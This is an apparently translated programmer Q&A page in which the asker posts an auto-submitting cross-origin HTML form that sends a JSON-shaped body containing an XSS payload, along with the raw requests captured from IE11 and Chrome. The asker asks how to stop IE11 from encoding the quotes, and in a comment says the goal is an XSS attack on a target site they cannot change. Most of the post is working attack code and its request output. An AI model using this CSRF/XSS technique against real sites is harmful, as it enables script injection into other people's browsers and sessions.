【发布时间】:2019-11-07 06:20:51
【问题描述】:
即使我使用 enctype="text/plain",IE11.2848 也会对表单正文进行编码。
<body>
<form action="/n/jsonxss" method="POST" enctype="text/plain">
<input type="hidden" name='{"test":"<svg onload=alert(1)>"}' value='{"test":"<svg onload=alert(1)>"}' />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit()</script>
</body>
IE 发出的请求:
POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 73
Host: [..]
{%22test%22:%22<svg onload=alert(1)>%22}={"test":"<svg onload=alert(1)>"}
Chrome 发出的请求:
POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 65
Host: [..]
{"test":"<svg onload=alert(1)>"}={"test":"<svg onload=alert(1)>"}
如何避免 IE11 中“name”属性双引号的 url 编码?
这个请求应该从不同的域发送,所以 application/json 不是一个选项,因为它需要一个预检请求。
【问题讨论】:
-
text/plain不适合除调试之外的任何东西(这是一种次优的方法,所以永远不要使用它)。您不能使用 JSON,因为您使用的是表单(预检请求仅适用于 Ajax)。只需使用 URL 编码(这是默认设置)并更改服务器以支持它。 -
如何在目标网站上执行 xss 攻击更像是一个安全问题。目标服务器将请求正文解析为 json,无论请求标头中说明了什么内容类型。显然,我无法更改目标服务器。
-
而且预检请求不仅适用于 Ajax。如果你指定一个非简单的 enctype(例如“application/json”),浏览器也会发送一个 CORS 预检请求。
-
"如何在目标网站上执行 xss 攻击更像是一个安全问题。" - 不要。
-
"如果你指定了一个非简单的enctype(比如"application/json")"……那么浏览器会忽略它,因为它是无效的HTML。
标签: html forms security internet-explorer xss